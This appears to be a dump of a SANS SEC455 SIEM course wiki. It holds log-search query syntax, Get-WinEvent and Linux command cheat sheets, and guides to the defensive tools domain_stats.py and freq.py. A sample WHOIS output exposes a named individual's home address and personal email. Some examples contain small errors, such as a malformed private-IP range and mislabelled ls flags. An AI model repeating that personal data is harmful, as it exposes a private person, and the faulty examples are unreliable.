15 | This is an example of looking for an logs that contain the string "password":
16 | ```bash
17 | password
18 | ```
19 |
20 | This is an example of looking for logs that contain the name jhenderson stored in a field called user:
21 | ```bash
22 | user:jhenderson
23 | ```
24 |
25 | Note: Sometimes a string needs to be surrounded with double quotes.
26 |
27 | Example:
28 | ```bash
29 | "sec555.com"
30 | ```
31 |
32 | This is an example of looking for logs that contain a source port greater than 40000:
33 | ```bash
34 | source_port:>40000
35 | ```
36 |
37 | This is an example of looking for logs that contain a destination IP between 10.0.0.0 and 10.255.255.255:
38 | ```bash
39 | destination_ip:[10.0.0.0 TO 10.255.255.255]
40 | ```
41 |
42 | This is an example of looking for logs that have a field named tls:
43 | ```bash
44 | _exists_:tls
45 | ```
46 |
47 | This is an example of looking for logs that do not have a field named tls:
48 | ```bash
49 | _missing_:tls
50 | ```
51 |
52 | This is an example of looking for logs that do not have a tag of pci:
53 | ```bash
54 | -tags:pci
55 | ```
56 |
57 | This is an example of looking for logs that are between a specific date:
58 | ```bash
59 | @timestamp:[2017-05-01 TO 2017-05-28]
60 | ```
61 |
62 | #### Combining search filters
63 |
64 | Search filters can be combined using (), AND, and OR
65 |
66 | This is an example of looking for a network connection sourcing from 192.168.0.1 going to 8.8.8.8:
67 | ```bash
68 | source_ip:192.168.0.1 AND destination_ip:8.8.8.8
69 | ```
70 |
71 | This is an example of looking for a network connection coming from 192.168.0.1 or 192.168.0.2:
72 | ```bash
73 | source_ip:192.168.0.1 OR source_ip:192.168.0.2
74 | ```
75 |
76 | This is an example of looking for a network connection coming from 192.168.0.1 or 192.168.0.2 that is destined for 8.8.8.8:
77 | ```bash
78 | (source_ip:192.168.0.1 OR source_ip:192.168.0.2) AND destination_ip:8.8.8.8
79 | ```
80 |
81 | This is an example of looking for network connections coming from 192.168.0.1 that are not going to 8.8.8.8:
82 | ```bash
83 | source_ip:192.168.0.1 AND -destination_ip:8.8.8.8
84 | ```
85 |
86 | Note: Using AND is not required when using an exclusion filter
87 |
88 | Here is the same example as above that still works:
89 | ```bash
90 | source_ip:192.168.0.1 -destination_ip:8.8.8.8
91 | ```
92 |
93 | This is an example of looking for network connections that are not going to a private IP address:
94 | ```bash
95 | -destination_ip:[10.0.0.0 TO 10.255.255.255] -destination_ip:[192.168.0.0 TO 192.168.255.255] -destination_ip:[172.16.0.0 TO 172.16.31.255.255]
96 | ```
--------------------------------------------------------------------------------
/Updates/style_guide.markdown:
--------------------------------------------------------------------------------
1 | # Style Guide
2 |
3 | ## **Typed Commands**
4 |
5 |
6 | ---
7 |
8 | ### **Text**
9 |
10 |
18 |
19 | **`>`** - This makes it have the callout bar on the side
20 | **```** - Wrapping text in triple backticks makes it a code blockquote
21 | **`bash`** - This is the language that will be used for syntax highlighting
22 |
23 |
24 |
25 | **Warning**: Be careful when choosing the language. The stable version of MDWiki uses highlight.js. If an unknown language is chosen then the page will never render. See https://github.com/dynalon/mdwiki/issues/39 for details. Using bash, python, and sql (in lowercase) all seem to work. Honestly, it rarely seems to do much highlighting at this point, so we could just ignore it for now. The unstable version of MDWiki replaces highlight.js with prism.js, but my understanding is that the master has issues that prevent successful build from source.
26 |
27 |
28 |
29 |
168 |
--------------------------------------------------------------------------------
/Tools/Get-WinEvent.md:
--------------------------------------------------------------------------------
1 | Get-WinEvent PowerShell cmdlet Cheat Sheet
2 | ========
3 | Abstract
4 | ---------
5 |
6 | Where to Acquire
7 | ---------
8 | PowerShell is natively installed in Windows Vista and newer, and includes the Get-WinEvent cmdlet by default.
9 |
10 | Examples/Use Case
11 | ---------
12 | ### Get-WinEvent
13 | View all events in the live system Event Log:
14 | ```
15 | PS C:\> Get-WinEvent -LogName system
16 | ```
17 |
18 | View all events in the live security Event Log (requires administrator PowerShell):
19 |
20 | ```
21 | PS C:\> Get-WinEvent -LogName security
22 | ```
23 | View all events in the file example.evtx, format list (fl) output:
24 | ```
25 | PS C:\> Get-WinEvent -Path example.evtx | fl
26 | ```
27 | View all events in example.evtx, format GridView output:
28 | ```
29 | PS C:\> Get-WinEvent -Path example.evtx | Out-GridView
30 | ```
31 | Perform long tail analysis of example.evtx:
32 | ```
33 | PS C:\> Get-WinEvent -Path example.evtx | Group-Object id -NoElement | sort count
34 | ```
35 | Pull events 7030 and 7045 from system.evtx:
36 | ```
37 | PS C:\> Get-WinEvent -FilterHashtable @{Path="system.evtx"; ID=7030,7045}
38 | ```
39 | Same as above, but use the live system event log:
40 | ```
41 | PS C:\> Get-WinEvent -FilterHashtable @{logname="system"; id=7030,7045}
42 | ```
43 | Search for events containing the string "USB" in the file system.evtx:
44 | ```
45 | PS C:\> Get-WinEvent -FilterHashtable @{Path="system.evtx"} | Where {$_.Message -like "*USB*"}
46 | ```
47 | 'grep'-style search for lines of events containing the case insensitive string "USB" in the file system.evtx:
48 | ```
49 | PS C:\> Get-WinEvent -FilterHashtable @{Path="system.evtx"} | fl | findstr /i USB
50 | ```
51 | Pull all errors (level=2) from application.evtx:
52 | ```
53 | PS C:\> Get-WinEvent -FilterHashtable @{Path="application.evtx"; level=2}
54 | ```
55 | Pull all errors (level=2) from application.evtx and count the number of lines ('wc'-style):
56 | ```
57 | PS C:\> Get-WinEvent -FilterHashtable @{Path="application.evtx"; level=2} | Measure-Object -Line
58 | ```
59 |
60 | #### AppLocker
61 | Pull all AppLocker logs from the live AppLocker event log (requires Applocker):
62 | ```
63 | PS C:\> Get-WinEvent -logname "Microsoft-Windows-AppLocker/EXE and DLL"
64 | ```
65 | Search for live AppLocker EXE/MSI block events: "(EXE) was prevented from running":
66 | ```
67 | PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Applocker/EXE and DLL"; id=8004}
68 | ```
69 | Search for live AppLocker EXE/MSI audit events: "(EXE) was allowed to run but would have been prevented from running if the AppLocker policy were enforced":
70 | ```
71 | PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Applocker/EXE and DLL"; id=8003}
72 | ```
73 |
74 | #### EMET
75 | Pull all EMET logs from the live Application Event log (requires EMET):
76 | ```
77 | PS C:\> Get-WinEvent -FilterHashtable @{logname="application"; providername="EMET"}
78 | ```
79 | Pull all EMET logs from a saved Application Event log (requires EMET):
80 | ```
81 | PS C:\> Get-WinEvent -FilterHashtable @{path="application.evtx"; providername="EMET"}
82 | ```
83 |
84 | #### Sysmon
85 | Pull all Sysmon logs from the live Sysmon Event log (requires Sysmon and an admin PowerShell):
86 | ```
87 | PS C:\> Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational"
88 | ```
89 | Pull Sysmon event ID 1 from the live Sysmon Event log
90 | ```
91 | PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Sysmon/Operational"; id=1}
92 | ```
93 |
94 | #### Windows Defender
95 | Pull all live Windows Defender event logs
96 | ```
97 | PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Windows Defender/Operational"}
98 | ```
99 | Pull Windows Defender event logs 1116 and 1117 from the live event log
100 | ```
101 | PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Windows Defender/Operational";id=1116,1117}
102 | ```
103 | Pull Windows Defender event logs 1116 (malware detected) and 1117 (malware blocked) from a saved evtx file
104 | ```
105 | PS C:\> Get-WinEvent -FilterHashtable @{path="WindowsDefender.evtx";id=1116,1117}
106 | ```
107 | Additional Info
108 | --------------
109 | A printable PDF version of this cheatsheet is available here:
110 | [Get-WinEvent](pdfs/Get-WinEvent.pdf)
111 |
112 | Cheat Sheet Version
113 | --------------
114 | #### **`Version 1.0`**
--------------------------------------------------------------------------------
/Tools/LinuxCLI101.md:
--------------------------------------------------------------------------------
1 | Linux 101 Command Line Cheat Sheet
2 | ========
3 | Abstract
4 | ---------
5 | Fundamental Linux/Unix commands for the Linux/Unix command line learner. If you are experienced with Linux/Unix: you have probably mastered these commands. If not: you are in the right place.
6 |
7 | These commands are designed for use in the Security511 Linux VM.
8 |
9 | Where to Acquire
10 | ---------
11 | These tools are installed natively in most Unix/Linux distributions, as well as OS X.
12 |
13 | Examples/Use Case
14 | ---------
15 | * [bash basics](#bash-basics)
16 | * [cat](#cat)
17 | * [cd](#cd)
18 | * [echo](#echo)
19 | * [ls](#ls)
20 | * [network commands](#network-commands)
21 | * [passwd](#passwd)
22 | * [ping](#ping)
23 | * [pwd](#pwd)
24 | * [sudo](#sudo)
25 |
26 | ---------
27 | ### bash basics
28 | #### Tab-completion:
29 | Folks who are new to the Unix/Linux command line often attempt to type everything by hand. This may work well if you type quickly and accurately. Most of us are **much** better off using tab completion.
30 |
31 | Note that Windows PowerShell also supports tab completion, but it handles ambiguity differently. See the PowerShell cheat sheet for more information.
32 |
33 | Type the following, and then press the `` key:
34 | ```bash
35 | $ cat /etc/pas
36 | ```
37 | Then press ``.
38 |
39 | Note that it autocompletes to `/etc/passwd`.
40 |
41 | Now try tabbing with ambiguity:
42 | ```bash
43 | $ cd ~/Do
44 | ```
45 | Then press ``.
46 |
47 | Note that it offers two choices: `Documents/ Downloads/`.
48 |
49 | Now add a "w" and press ``:
50 | ```bash
51 | $ cd ~/Dow
52 | ```
53 | Press ``. It autocompletes to `~/Downloads/`.
54 |
55 | ### cat
56 | Display a file:
57 | ```bash
58 | $ cat example.txt
59 | ```
60 | Concatenate (cat) FileA.txt and FileB.txt, create FileC.txt:
61 | ```bash
62 | $ cat FileA.txt FileB.txt > FileC.txt
63 | ```
64 | ---------
65 | ### cd
66 | Change Directory (cd) to the /tmp directory:
67 | ```bash
68 | $ cd /tmp
69 | ```
70 | Change to the home directory. The following commands are equivalent for the Security511 Linux VM "student" user: "~" means home directory (for example: /home/student):
71 | ```bash
72 | $ cd
73 | $ cd ~
74 | $ cd /home/student
75 | ```
76 | Change to the parent directory. For example: if you are in /tmp/subdirectory/, this will change your working directory to /tmp/:
77 | ```bash
78 | $ cd ..
79 | ```
80 | ---------
81 | ### echo
82 | Print (echo) the string "Cylon":
83 | ```bash
84 | $ echo Cylon
85 | ```
86 | Create or overwrite the file example.txt, containing the string "Cylon":
87 | ```bash
88 | $ echo Cylon > example.txt
89 | ```
90 | Append the string "Cylon" to the file example.txt:
91 | ```bash
92 | $ echo Cylon >> example.txt
93 | ```
94 |
95 | ---------
96 | ### ls
97 | List the files in the current directory (equivalent to the cmd.exe "dir" command):
98 | ```bash
99 | $ ls
100 | ```
101 | List the files in the current directory, long output (-l), all files including "hidden" files that begin with a "." (-a):
102 | ```bash
103 | $ ls -la
104 | ```
105 | List the files in the current directory, long output (-l), all files (-a), sort by time (-r):
106 | ```bash
107 | $ ls -lat
108 | ```
109 | List the files in the current directory, long output (-l), all files (-a), reverse (-r) sort by time (-r):
110 | ```bash
111 | $ ls -lart
112 | ```
113 | ---------
114 | ### network commands
115 | Show network interface configuration:
116 | ```bash
117 | $ ifconfig
118 | ```
119 | Show network interface configuration using "ip":
120 | ```bash
121 | $ ip a
122 | ```
123 | Restart networking:
124 | ```bash
125 | $ sudo /etc/init.d/networking restart
126 | ```
127 | ---------
128 | ### passwd
129 | Change your password:
130 | ```bash
131 | $ passwd
132 | ```
133 | ---------
134 | ### ping
135 | ping a host forever (until CTRL-C is pressed), see if it is up (and unfiltered):
136 | ```bash
137 | $ ping 10.5.11.25
138 | ```
139 | ping a host 3 times, see if it is up (and unfiltered):
140 | ```bash
141 | $ ping -c3 10.5.11.25
142 | ```
143 | ---------
144 | ### pwd
145 | Print Working Directory (pwd), show the current directory:
146 | ```bash
147 | $ pwd
148 | ```
149 | ---------
150 | ### sudo
151 | Run a command as root:
152 | ```bash
153 | $ sudo command
154 | ```
155 | Open a root bash shell:
156 | ```bash
157 | $ sudo bash
158 | ```
159 | Additional Info
160 | --------------
161 |
--------------------------------------------------------------------------------
/index.md:
--------------------------------------------------------------------------------
1 |
24 |
25 | Welcome to the SANS SEC455 Wiki
26 | ----------
27 |
28 |
29 | 
30 | ### **`SEC455 Portal Version: 1.0.0`**
31 |
32 | ---
33 |
34 | The goal of the SEC455 wiki is to provide knowledge to the security community. As one gets better we all get better! As such this is a free source of cyber defense information primarily around Security Information Event Management (SIEM) systems.
35 |
36 | The other goal is for (**SEC555: SIEM with Tactical Analytics**)[https://www.sans.org/course/siem-with-tactical-analytics] students and is to increase the **in-class**, and, most importantly, **after-class** value of the course material. It is also designed as a method to give back to the security community by providing free information. This wiki is, and likely always will be, very much a work in progress.
37 |
38 | Contained in the wiki, you will find:
39 |
40 | - Tool and technique cheat sheets
41 | - Reference guides
42 | - Information about 455 instructors
43 | - Electronic Copies of the Lab Guides (**copy and paste, FTW!!!**) (**Digital labs are only available on student VM - SEC455 course attendees only**)
44 | ...and more
45 |
46 | Note: If you are using the student VM included when taking SEC455 you have the capability of turning on automatic wiki/lab updating.
47 |
48 | Recommendations - PLEASE READ
49 | ----------
50 | There are two things that are **highly recommended** to do before diving in.
51 |
52 | 1. **Discover how to use the Smart Player**. Videos are played using Smart Player and there are some features you may not know exist without checking [out this guide](/Resources/SmartPlayer.md). The videos created in the wiki took a tremendous amount of time to put together due to adding many features that Smart Player allows such as searching for any word spoken by the presenter and jumping to that section of the video.
53 | 2. If you are a SEC455 student, **enable automatic updates of the wiki and lab content**
54 |
55 | How to manually update the wiki
56 | ----------
57 |
58 | To manually update the wiki content run the command below.
59 |
60 | ```bash
61 | $ sudo pwsh -file /scripts/wiki_update.ps1
62 | ```
63 |
64 |
66 |
67 |
68 |
69 | Enable Automatic Updates
70 | ----------
71 |
72 | This section only applies to students of SEC455 using the wiki within the SEC455 course provided student virtual machine. In order to enable automatic wiki/lab updating run the following command:
73 |
74 | ```bash
75 | sudo crontab -e
76 | ```
77 |
78 |
80 |
81 |
82 |
83 | Then uncomment the cron job for either the 9 AM automatic update or the update after reboot (or both):
84 |
85 | ```bash
86 | # Uncomment the below entry to automatically update the SEC455
87 | # wiki. The default check occurs at 9 AM but can be changed.
88 | #0 9 * * * pwsh -file /scripts/wiki_update.ps1
89 |
90 | # Uncomment the below entry to automatically update the SEC455
91 | # wiki after each reboot.
92 | #@reboot pwsh -file /scripts/wiki_update.ps1
93 | ```
94 |
95 | When finished the cron entry should look similar to this:
96 |
97 | ```bash
98 | # Uncomment the below entry to automatically update the SEC455
99 | # wiki. The default check occurs at 9 AM but can be changed.
100 | 0 9 * * * pwsh -file /scripts/wiki_update.ps1
101 |
102 | # Uncomment the below entry to automatically update the SEC455
103 | # wiki after each reboot.
104 | @reboot pwsh -file /scripts/wiki_update.ps1
105 | ```
106 |
107 | ---
108 |
109 |
110 | Course/Lab/Wiki Bugs or Suggestions
111 | ----------
112 |
113 | ---
114 |
115 | Please let us know if you find any bugs in the courseware/labs/wiki we need to squash. Also, reach out if you have suggestions to improve the course (e.g. content/labs/tools that should be added, removed, or updated). The easiest way to submit these improvements is by sending an email to ****
116 |
117 | ---
118 |
119 | Alumni Mailing List
120 | ----------
121 |
122 | ---
123 |
124 | Join the 455 alumni Slack channel:
125 |
126 | [https://sec455.com/slack.php](https://sec455.com/slack.php)
127 |
128 | ---
129 |
--------------------------------------------------------------------------------
/Tools/domain_stats.py.md:
--------------------------------------------------------------------------------
1 | domain_stats.py
2 | ========
3 |
4 | Abstract
5 | --------
6 |
7 | domain_stats.py is a python API designed by Mark Baggett to handle Alexa/Cisco Umbrella top one million lookups as well as WHOIS lookups, both of which cache results. It was designed to be used in conjunction with a SIEM solutions but can work with anything that can submit a web request.
8 |
9 | **Background:** adversaries attempt to often use domain names to bypass IP address blacklisting technologies. These could be in the form of random domain names (see freq.py and freq_server.py for detecting these), rapidly rotating domain names, or targeted domains such as phishing domains
10 |
11 | **Problem:** analysts struggle to figure out what data to analyze and which techniques to apply against which logs. There are just too many logs...
12 |
13 | **Solution:** ask Mark Baggett for help ...domain_stats.py is born
14 |
15 | domain_stats.py helps us solve the problem by providing a lookup table using the Alexa or Cisco Umbrella top-1m.csv (can be pointed to a custom file as well) and WHOIS lookups to pull back information such as a domain's creation date.
16 |
17 | Where to Acquire
18 | ---------
19 |
20 | https://github.com/MarkBaggett/domain_stats
21 |
22 |
23 | Examples/Use Case
24 | ---------
25 |
26 | ### Using Logstash to query domain_stats.py against top-1m
27 |
28 | This example Logstash configuration below queries domain_stats.py to see if a domain name (stored in a field called highest_registered_domain) is a member of the Alexa/Cisco Umbrella top 1 million sites. If the site is a top 1 million site a tag of "top-1m" is added to the log.
29 | ```javascript
30 | filter {
31 | rest {
32 | request => {
33 | url => "http://localhost:20000/alexa/%{highest_registered_domain}"
34 | }
35 | sprintf => true
36 | json => false
37 | target => "site_rank"
38 | }
39 | if [site_rank] != "0" and [site_rank] {
40 | mutate {
41 | add_tag => [ "top-1m" ]
42 | }
43 | }
44 | }
45 | ```
46 |
47 | Note: The values returned by the rest filter plugin will be strings. If you want them to be integers add this code below the rest filter:
48 | ```javascript
49 | mutate {
50 | convert => [ "site_rank", "integer" ]
51 | }
52 | ```
53 |
54 | This example Logstash configuration below queries domain_stats.py to see when a domain name was created. It stores the results in the creation_date field.
55 | ```javascript
56 | filter {
57 | rest {
58 | request => {
59 | url => "http://localhost:20000/domain/creation_date/%{highest_registered_domain}"
60 | }
61 | sprintf => true
62 | json => false
63 | target => "creation_date"
64 | }
65 | }
66 | ```
67 |
68 | The below command is an example of running domain_stats.py on port 20000 and using a top one million file at /opt/domain_stats/top-1m.csv. It does not require root or admin privileges.
69 | ```bash
70 | /usr/bin/python /opt/domain_stats/domain_stats.py --preload 0 -a /opt/domain_stats/top-1m.csv 20000
71 | ```
72 |
73 | Preload is set to 0 which means do not try to load up all the WHOIS information for the top one million sites. The default behavior loads the first 1000 sites listed in top-1m.csv or whatever file is specified.
74 |
75 | To view additional command line parameters see either the GitHub link above or run the following command:
76 |
77 | ```bash
78 | /usr/bin/python /opt/domain_stats/domain_stats.py -h
79 | ```
80 |
81 | This is an example of manually querying domain_stats.py using curl. It requests the creation date from WHOIS information for sec555.com.
82 | ```bash
83 | $ curl http://127.0.0.1:20000/domain/creation_date/sec555.com
84 | 2016-09-08 03:21:24;
85 | ```
86 |
87 | This is an example of manually querying domain_stats.py using curl. It checks to see if sans.org is a top 1 million site. Since SANS is obviously freaking awesome... it is a top 1 million site and the rank of 105910 is returned.
88 | ```bash
89 | $ curl http://127.0.0.1:20000/alexa/sans.org
90 | 105910
91 | ```
92 |
93 | This is an example of manually querying domain_stats.py using curl. It checks to see if covertc2.com is a top 1 million site. Since it is not a value of "0" is returned.
94 | ```bash
95 | $ curl http://127.0.0.1:20000/alexa/convertc2.com
96 | 0
97 | ```
98 |
99 | This is an example of manually querying domain_stats.py using curl. It requests the WHOIS information for sec555.com.
100 | ```bash
101 | $ curl http://127.0.0.1:20000/domain/sec555.com
102 | {
103 | "updated_date": "2016-09-08 00:00:00",
104 | "status": [
105 | "clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited",
106 | "clientRenewProhibited https://icann.org/epp#clientRenewProhibited",
107 | "clientTransferProhibited https://icann.org/epp#clientTransferProhibited",
108 | "clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited",
109 | "clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited",
110 | "clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited",
111 | "clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited",
112 | "clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited"
113 | ],
114 | "alexa": "0",
115 | "name": "Justin Henderson",
116 | "dnssec": "unsigned",
117 | "city": "Effingham",
118 | "expiration_date": [
119 | "2018-09-08 00:00:00",
120 | "2018-09-08 03:21:24"
121 | ],
122 | "time": 1497203898.527102,
123 | "zipcode": "62401",
124 | "domain_name": [
125 | "SEC555.COM",
126 | "sec555.com"
127 | ],
128 | "country": "US",
129 | "whois_server": "whois.godaddy.com",
130 | "state": "Illinois",
131 | "registrar": "GoDaddy.com, LLC",
132 | "referral_url": "http://www.godaddy.com",
133 | "address": "14526 E Millbrook Dr",
134 | "name_servers": [
135 | "NS55.DOMAINCONTROL.COM",
136 | "NS56.DOMAINCONTROL.COM"
137 | ],
138 | "org": null,
139 | "creation_date": [
140 | "2016-09-08 00:00:00",
141 | "2016-09-08 03:21:24"
142 | ],
143 | "emails": [
144 | "abuse@godaddy.com",
145 | "Justindestiny@gmail.com"
146 | ]
147 | }
148 | ```
149 |
150 | ---
151 |
152 | Additional Info
153 | --------------
154 |
155 | https://isc.sans.edu/forums/diary/Continuous+Monitoring+for+Random+Strings/20451/
--------------------------------------------------------------------------------
/Tools/freq.py.md:
--------------------------------------------------------------------------------
1 | freq.py
2 | ========
3 |
4 | Abstract
5 | --------
6 |
7 | freq.py is what happens when Mark Baggett sits in on your class, and you dangle interesting problems in front of him...
8 |
9 | **Background:** adversaries attempt to bypass signature based/pattern matching/blacklist techniques by introducing random: filenames, service names, workstation names, domains, hostnames, SSL cert subjects and issuer subjects, etc.
10 |
11 | **Problem:** detecting randomly-generated X is a powerful defensive technique, but hard with a narrow scope.
12 |
13 | **Solution:** sign Mark Baggett up for your class and...freq.py is born
14 |
15 | freq.py helps us solve the problem by employing frequency tables that map how likely one character will follow another
16 |
17 | Where to Acquire
18 | ---------
19 |
20 | https://github.com/MarkBaggett/MarkBaggett/tree/master/freq
21 |
22 |
23 | Examples/Use Case
24 | ---------
25 |
26 |
37 |
38 | Note: The higher the number returned by freq.py the more likely it is to occur
39 |
40 | ---
41 |
42 | ### Blindly freq-ing for EVIL
43 |
44 | >Mark provides some pre-built frequency tables built using public domain fiction and speeches as seed text. While not the preferred approach, just using the provided frequency tables can hit pay dirt.
45 |
46 | ### Default Frequency Tables
47 |
48 | ```bash
49 | [/opt/freq]$ ls *.freq
50 | english_lowercase.freq english_mixedcase.freq
51 | ```
52 |
53 | ---
54 |
55 | ### Using Default Frequency Tables
56 |
57 | Measure (**`-m`**) the likelihood of the characters in the string **`sec511`** occurring in that order:
58 |
59 | ```bash
60 | [/opt/freq]$ python freq.py -m "sec511" english_lowercase.freq
61 | 5.03581076834
62 | ```
63 |
64 | Measure (**`-m`**) the likelihood of the string **`xzkravkdj`**:
65 |
66 | ```bash
67 | [/opt/freq]$ python freq.py -m "xzkravkdj" english_lowercase.freq
68 | 1.19928269423
69 | ```
70 |
71 | Bulk (**`-b`**) measure the likelihood for each entry in **`/home/student/bootcamp/test_domains.txt`**
72 |
73 | ```bash
74 | [/opt/freq]$ python freq.py -d /home/student/bootcamp/test_domains.txt english_lowercase.freq
75 | ```
76 |
77 | ---
78 |
79 | ### Building a Frequency Table
80 |
81 | >Rather than using the provided tables, we can instantiate our own. This is the preferred approach, because our fidelity should improve with frequency tables that are built based on normal seed data for our target. For example, if we will be using freq.py to look for random generate executable names, then supplying a large volume of normal executable names would yield better results than just text based on speeches and fiction in the public domain.
82 |
83 |
84 | Create (**`-c`**) a new frequency table (in this case 511_domains.freq)
85 |
86 | ```bash
87 | [/opt/freq]$ python freq.py -c 511_domains.freq
88 | ```
89 |
90 | Toggle on (**`-t`**) case sensitivity (disabled by default)
91 |
92 | ```bash
93 | [/opt/freq]$ python freq.py -t 511_domains.freq
94 | Case sensitivity is now set to True
95 | ```
96 |
97 | Feed (**`-f`**) the frequency table with representative (read: normal) data
98 |
99 | ```bash
100 | [/opt/freq]$ python freq.py -f /home/student/bootcamp/normal_domains.txt 511_domains.freq
101 | ```
102 |
103 | ---
104 |
105 | ### Tactically freq-ing for EVIL
106 |
107 | Measure (**`-m`**) the likelihood of the string **`sec511.com`**
108 |
109 | ```bash
110 | [/opt/freq]$ python freq.py -m "sec511.com" 511_domains.freq
111 | ```
112 |
113 | Bulk (**`-b`**) measure the likelihood for each entry in **`/home/student/bootcamp/test_domains.txt`**
114 |
115 | ```bash
116 | [/opt/freq]$ python freq.py -b /home/student/bootcamp/test_domains.txt 511_domains.freq
117 | ```
118 |
119 | ---
120 |
121 | ### Tuning Tables
122 |
123 | Update frequency table with a normal (**`-n`**) entry as if seen 10000 times
124 |
125 | ```bash
126 | [/opt/freq]$ python freq.py -n "qwerty.sec511.com" -w 10000 511_domains.freq
127 | ```
128 |
129 | Update frequency table with a file (**`-f`**) containing normal entries (e.g **`/home/student/bootcamp/normal_domains.txt`**)
130 |
131 | ```bash
132 | [/opt/freq]$ python freq.py -f /home/student/bootcamp/normal_domains.txt 511_domains.freq
133 | ```
134 |
135 | Update frequency table with an odd (**`-o`**), bogus, but not random entry
136 |
137 | ```bash
138 | [/opt/freq]$ python freq.py -o ".ru" 511_domains.freq
139 | ```
140 |
141 | ---
142 |
143 | ### freq.py command line switches
144 |
145 |
146 |
Switch
Verbose Switch
Description
**-m**
**--measure**
Measure likelihood of a given string
**-b**
**--bulk_measure**
Measure each line in a file
**-n**
**--normal**
Update the table based on the following normal string
**-f**
**--normalfile**
Update the table based on the contents of the normal file
**-o**
**--odd**
Update the table based on the contents of the odd string. It is not a good idea to use this on random data
**-p**
**--print**
Print a table of the most likely letters in order
**-c**
**--create**
Create a new empty frequency table
**-v**
**--verbose**
Print verbose output
**-t**
**--toggle_case_sensitivity**
Enable/Disable case in all future frequency tabulations
**-M**
**--max_prob**
Defines the maximum probability of any character combo. (Prevents "qu" from overpowering stats) Default 40
**-P**
**--promote**
This takes 2 characters as arguments. Given the 2 characters, promote the likelihood of the 2nd in the first by <weight> places
**-w**
**--weight**
Affects weight of promote, update and update file (default is 1)
**-e**
**--exclude**
Change the list of characters to ignore from the tabulations.
147 |
148 | ---
149 |
150 | Additional Info
151 | --------------
152 |
153 | https://isc.sans.edu/forums/diary/Detecting+Random+Finding+Algorithmically+chosen+DNS+names+DGA/19893/
154 | https://isc.sans.edu/diary/freq.py+super+powers%3F/19903
155 | https://isc.sans.edu/forums/diary/Continuous+Monitoring+for+Random+Strings/20451/
156 |
--------------------------------------------------------------------------------
/Tools/LinuxCLI.md:
--------------------------------------------------------------------------------
1 | Linux Command Line Cheat Sheet
2 | ========
3 | Abstract
4 | ---------
5 | The following examples may be typed in the Security511 Linux VM, and copy/paste will work fine (be sure to omit the prompt).
6 | * To copy in Firefox: press CTRL-C
7 | * To paste into a terminal: press SHIFT-CTRL-V (or Edit->Paste)
8 |
9 | Many of these examples will use the "cat example.txt | command" syntax. This is safer than the equivalent syntax of "command < example.txt".
10 |
11 | Why? Most everyone learning the Unix/Linux commandline has accidentally reversed the "<" sign (read) with the ">" sign (write), accidentally overwriting a file. The syntax of "cat example.txt | command" is therefore safer. Please feel free to use whatever syntax you are most comfortable with.
12 |
13 | On a related note, "There is more than one way to do it," as Larry Wall once said. You may come up with different ways to perform the following, and perhaps better ways as well. Feel free to share your CLI Kung Fu with your instructor!
14 |
15 | Where to Acquire
16 | ---------
17 | These tools are installed natively in most Unix/Linux distributions, as well as OS X.
18 |
19 | Examples/Use Case
20 | ---------
21 | * [awk](#awk)
22 | * [checksum tools](#checksum-tools)
23 | * [cut](#cut)
24 | * [file](#file)
25 | * [grep](#grep)
26 | * [head](#head)
27 | * [sed](#sed)
28 | * [sort](#sort)
29 | * [wc](#wc)
30 | * [xxd](#xxd)
31 |
32 | ---------
33 | ### awk
34 | Print the length of each line of a file (/etc/passwd in this case), followed by the line itself:
35 |
36 | ```bash
37 | $ cat /etc/passwd | awk '{print length, $0;}'
38 | ```
39 | Print the 2nd field from a file using the string 'Mozilla/' as a delimiter:
40 | ```bash
41 | $ cat /var/log/apache2/access.log | awk -F "Mozilla/" '{print $2}'
42 | ```
43 | Print the last period delimited field
44 | ```bash
45 | $ cat domains.txt | awk -F "." '{print $(NF)}'
46 | ```
47 | ---------
48 | ### checksum tools
49 | Generate the MD5 checksum of a file:
50 | ```bash
51 | $ md5sum /etc/passwd
52 | ```
53 | Generate the SHA1 checksum of a file. The three following commands are equivalent:
54 | ```bash
55 | $ sha1sum /etc/passwd
56 | $ shasum /etc/passwd
57 | $ shasum -a1 /etc/passwd
58 | ```
59 | Generate the SHA-256 checksum of a file:
60 | ```bash
61 | $ shasum -a256 /etc/passwd
62 | ```
63 | Generate the SHA-512 checksum of a file:
64 | ```bash
65 | $ shasum -a512 /etc/passwd
66 | ```
67 | ---------
68 | ### cut
69 | Cut the 2nd field from a file, using the space as a delimiter:
70 | ```bash
71 | $ cat /var/log/dpkg.log | cut -d' ' -f2
72 | ```
73 | Cut the 6th field from a file, using the colon as a delimiter:
74 | ```bash
75 | $ cat /etc/passwd | cut -d: -f6
76 | ```
77 | Cut the 2nd and 3rd field from a file, use the comma as a delimiter:
78 | ```bash
79 | $ cat /labs/honeytokens/pilots.csv | cut -d, -f2-3
80 | ```
81 | Cut beginning at the 7th field, to end of line, using the space as a delimiter:
82 | ```bash
83 | $ cat /var/log/dpkg.log | cut -d' ' -f3-
84 | ```
85 | Cut the 6th field, using the double-quote (") as a delimiter, and escaping it to treat it as a literal character:
86 | ```bash
87 | $ cat /var/log/apache2/access.log | cut -d\" -f6
88 | ```
89 | Cut the beginning at the 11th character, to end of line:
90 | ```bash
91 | $ ifconfig | cut -c11-
92 | ```
93 | ---------
94 | ### file
95 | Determine the file type, using the file's magic bytes:
96 | ```bash
97 | $ file /usr/local/bin/*
98 | ```
99 | ---------
100 | ### grep
101 | Search for lines containing the string "bash", case sensitive:
102 | ```bash
103 | $ grep bash /etc/passwd
104 | ```
105 | Search for lines containing the string "bash", case insensitive:
106 | ```bash
107 | $ grep -i bash /etc/passwd
108 | ```
109 | Search for lines that do not contain the string "bash", case insensitive:
110 | ```bash
111 | $ grep -vi bash /etc/passwd
112 | ```
113 | Search for lines containing the string "root", case sensitive, plus print the next 5 lines:
114 | ```bash
115 | $ grep -A5 root /etc/passwd
116 | ```
117 | ---------
118 | ### head
119 | Print the first 10 lines of a file:
120 | ```bash
121 | $ head -n 10 /etc/passwd
122 | ```
123 | ---------
124 | ### sed
